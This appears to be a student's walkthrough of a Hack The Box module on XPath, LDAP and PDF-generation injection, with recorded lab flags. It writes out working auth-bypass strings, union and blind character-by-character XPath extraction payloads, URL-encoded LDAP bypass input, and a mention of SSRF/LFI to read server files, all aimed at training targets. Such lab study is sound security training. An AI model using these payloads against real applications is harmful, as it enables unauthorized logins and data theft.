Injection Attacks
XPath - Auth Bypass
Firstly, we can inject a double or
clause in the username to make the XPath query return true
, thereby returning all user nodes such that we log in as the first user. An example payload would be ' or true() or '
resulting in the following query:
However, just like discussed previously, we might want to log in as a specific user to obtain more privileges.
One way to do this is to iterate over all users by their position. This can be achieved with the following payload: ' or position()=2 or '
, resulting in the following query:
By using the payload ' or position()=3 or '
the third user would be obtained which is the superuser.
For this task, the below payload have been tested and did not work.
' or contains(.,'admin') or '
admin' or '1'='1
For the successful attempts in auth bypass, the payload works even if it is URL-encoded.
Flag: HTB{baa4759ac0d153ec234a72df5d99bf56}
XPath - Data Exfiltration
Confirming XPath Injection
We can confirm XPath injection by sending the payload SOMETHINGINVALID') or ('1'='1
in the q
parameter. This would result in the following XPath query:
While our provided substring is invalid, the injected or
clause evaluates to true
such that the predicate becomes universally true. Therefore, it matches all nodes at that depth. If we send this payload, the web application responds with all street names, thus confirming the XPath injection vulnerability:
We are appending a second query with the |
operator, similar to a UNION
-based SQL injection. The second query, //text()
, returns all text nodes in the XML document. Therefore, the response contains all data stored in the XML document. Depending on the size of the XML document, the response can be pretty large. Thus it may take some time to look through the data carefully. In our example, we can find a user data set at the end of the document after the data set containing information about the streets of San Francisco:
We could also achieve the same result by using this payload in the q
parameter: SOMETHINGINVALID') or ('1'='1
and setting the f
parameter to ../../..//text()
. This would result in the following XPath query:
The predicate is universally true
due to our injected or
clause. Furthermore, our payload injected into the f
parameter moves back up to the document's root and selects all text nodes, just like our previous payload. Thus, this query also returns the entire XML document.
XPath - Advanced Data Exfiltration
We set the search term in the parameter q
to anything that does not return data, for instance, SOMETHINGINVALID
. We can then set the parameter f
to fullstreetname | /*[1]
. This results in the following XPath query:
The subquery /*[1]
starts at the document root /
, moves one node down the node tree due to the wildcard *
, and selects the first child due to the predicate [1]
. Thus, this subquery selects the document root's first child, the document root element node. Since the document root element node has multiple child nodes, it is of the data type array
in PHP, which we can confirm when analyzing the response. The web application expects a string
but receives an array
and is thus unable to print the results, resulting in an empty response:
By adding fullstreetname | /*[1]/*[1]/*[1]/*[1] to the f parameter, we get some results. The
schema depth for the street data is 4 and this
allows us to start exfiltrating data by increasing the position in the last predicate until no more data can be retrieved:
We successfully exfiltrated information about the first street in the data set. The three values seem to be the long street name
, the short street name
, and a street type
. We can thus fill in some of the placeholders of the XML schema from the previous section. However, remember that we still do not know the exact node names. We are just trying to create an overview of the structure of the XML document:
Value of the | Response |
|
|
| kgrenvile |
| admin |
To get flag of admin use the payload fullstreetname | /*[1]/*[2]/*[3]/*[1]/*[3
XPath - Blind Data Exfiltration
Testing for XPath Injection in Login Page
On the username field of login, add invalid' or '1'='1
Exfiltrating the Length of a Node's Name
To exfiltrate the length of the root node's name, we can use the payload invalid' or string-length(name(/*[1]))=1 and '1'='1
, resulting in the following XPath query:
User does not exist at root element node /*[1]
At root element node 8, the request was sent successfully
Exfiltrating a Node's Name
Now that we know the length of the node's name, we can exfiltrate the name character by character. For that, we can use the payload invalid' or substring(name(/*[1]),1,1)='a' and '1'='1
, resulting in the following XPath query:
We need to iterate through all possible characters until we find the correct one, which in our case is a:
invalid' or substring(name(/*[1]),1,1)='a' and '1'='1
invalid' or substring(name(/*[1]),2,1)='a' and '1'='1
Exfiltrating the Number of Child Nodes
/users/user[username='invalid' or substring(name(/*[1]),1,1)='a' and '1'='1'] > accounts
invalid' or count(/accounts/*)=1 and '1'='1 > 2
First User :
invalid'+or+string-length(/accounts/*[1]/*)=5+and+'1'='1 > 5
invalid'+or+substring(/accounts/*[1]/*,1,1)='a'+and+'1'='1 > a
invalid'+or+substring(/accounts/*[1]/*,2,1)='a'+and+'1'='1 > d
invalid'+or+substring(/accounts/*[1]/*,3,1)='a'+and+'1'='1 > m
invalid'+or+substring(/accounts/*[1]/*,4,1)='a'+and+'1'='1 > i
invalid'+or+substring(/accounts/*[1]/*,5,1)='a'+and+'1'='1 > n
Second user:
invalid'+or+substring(/accounts/*[2]/*,1,1)='a'+and+'1'='1 > h
invalid'+or+substring(/accounts/*[2]/*,2,1)='a'+and+'1'='1 > t
invalid'+or+substring(/accounts/*[2]/*,3,1)='a'+and+'1'='1 > b
invalid'+or+substring(/accounts/*[2]/*,5,1)='a'+and+'1'='1 > s
invalid'+or+substring(/accounts/*[2]/*,6,1)='a'+and+'1'='1 > t
invalid'+or+substring(/accounts/*[2]/*,7,1)='a'+and+'1'='1 > d
invalid'+or+substring(/accounts/*[2]/*,8,1)='a'+and+'1'='1 > n
invalid'+or+substring(/accounts/*[2]/*,9,1)='a'+and+'1'='1 > t
To get flag:
invalid'+or+substring(/accounts/*[1]/*[2],1,1)='a'+and+'1'='1 > H
invalid'+or+substring(/accounts/*[1]/*[2],2,1)='a'+and+'1'='1 > T
invalid'+or+substring(/accounts/*[1]/*[2],3,1)='a'+and+'1'='1 > B
invalid'+or+substring(/accounts/*[1]/*[2],4,1)='a'+and+'1'='1 > {
invalid'+or+substring(/accounts/*[1]/*[2],5,1)='a'+and+'1'='1 > b
invalid'+or+substring(/accounts/*[1]/*[2],6,1)='a'+and+'1'='1 > c
invalid'+or+substring(/accounts/*[1]/*[2],7,1)='a'+and+'1'='1 > c
invalid'+or+substring(/accounts/*[1]/*[2],8,1)='a'+and+'1'='1 > 3
invalid'+or+substring(/accounts/*[1]/*[2],9,1)='a'+and+'1'='1 > b
invalid'+or+substring(/accounts/*[1]/*[2],10,1)='a'+and+'1'='1 > 4
invalid'+or+substring(/accounts/*[1]/*[2],11,1)='a'+and+'1'='1 > 2
invalid'+or+substring(/accounts/*[1]/*[2],12,1)='a'+and+'1'='1 > d
invalid'+or+substring(/accounts/*[1]/*[2],13,1)='a'+and+'1'='1 > e
invalid'+or+substring(/accounts/*[1]/*[2],14,1)='a'+and+'1'='1 > b
invalid'+or+substring(/accounts/*[1]/*[2],15,1)='a'+and+'1'='1 > d
invalid'+or+substring(/accounts/*[1]/*[2],16,1)='a'+and+'1'='1 > 9
invalid'+or+substring(/accounts/*[1]/*[2],17,1)='a'+and+'1'='1 > 1
invalid'+or+substring(/accounts/*[1]/*[2],18,1)='a'+and+'1'='1 > b
invalid'+or+substring(/accounts/*[1]/*[2],19,1)='a'+and+'1'='1 > 5
invalid'+or+substring(/accounts/*[1]/*[2],20,1)='a'+and+'1'='1 > 6
invalid'+or+substring(/accounts/*[1]/*[2],21,1)='a'+and+'1'='1 > 1
invalid'+or+substring(/accounts/*[1]/*[2],22,1)='a'+and+'1'='1 > 2
invalid'+or+substring(/accounts/*[1]/*[2],23,1)='a'+and+'1'='1 > a
invalid'+or+substring(/accounts/*[1]/*[2],24,1)='a'+and+'1'='1 > a
invalid'+or+substring(/accounts/*[1]/*[2],25,1)='a'+and+'1'='1 > 8
invalid'+or+substring(/accounts/*[1]/*[2],26,1)='a'+and+'1'='1 > 0
invalid'+or+substring(/accounts/*[1]/*[2],27,1)='a'+and+'1'='1 > b
invalid'+or+substring(/accounts/*[1]/*[2],28,1)='a'+and+'1'='1 > 1
invalid'+or+substring(/accounts/*[1]/*[2],29,1)='a'+and+'1'='1 > 7
invalid'+or+substring(/accounts/*[1]/*[2],30,1)='a'+and+'1'='1 > 4
invalid'+or+substring(/accounts/*[1]/*[2],31,1)='a'+and+'1'='1 > 2
invalid'+or+substring(/accounts/*[1]/*[2],32,1)='a'+and+'1'='1 > f
invalid'+or+substring(/accounts/*[1]/*[2],33,1)='a'+and+'1'='1 > 3
invalid'+or+substring(/accounts/*[1]/*[2],34,1)='a'+and+'1'='1 > a
invalid'+or+substring(/accounts/*[1]/*[2],35,1)='a'+and+'1'='1 > e
invalid'+or+substring(/accounts/*[1]/*[2],36,1)='a'+and+'1'='1 > f
invalid'+or+substring(/accounts/*[1]/*[2],37,1)='a'+and+'1'='1 > }
Flag:HTB{bcc3b42debd91b5612aa80b1742f3aef}
LDAP Injection
Authentication Bypass
username= %2Aadmin%2A%29%28%7C%28%26
password = admin%29s
Flag: HTB{cb9ab1284eafaa9e7e9ca41d70183a75}
LDAP - Data Exfiltration & Blind Exploitation
Use intruder to exfiltrate the flag of admin user via description
flag: htb{cfbf8ce58a8986ab567ed5533b186515}
Exploitation of PDF Generation Vulnerabilities
Use SSRF to find adminkey.txt and later LFI to show the text file.
Skills Assessment
Use Javascript payload to read default linux config files
Internal app directory is /var/www/internal/
Read source code of index.php to get the XML structure
$query = "/orders/order[id=" . $predicate . "]"; $results = $xml->xpath($query);
To find number of entries use the count payload
There are 7 entries/ids
For order[1], the id is 1337
string-length is 4
For order[2], the id is 1
string-length is 1
For order[7], id is 129837
string-length is 6
The 7 ids are 1,2,3,4,5,1337,129837
Flag can be found when q=129837
Last updated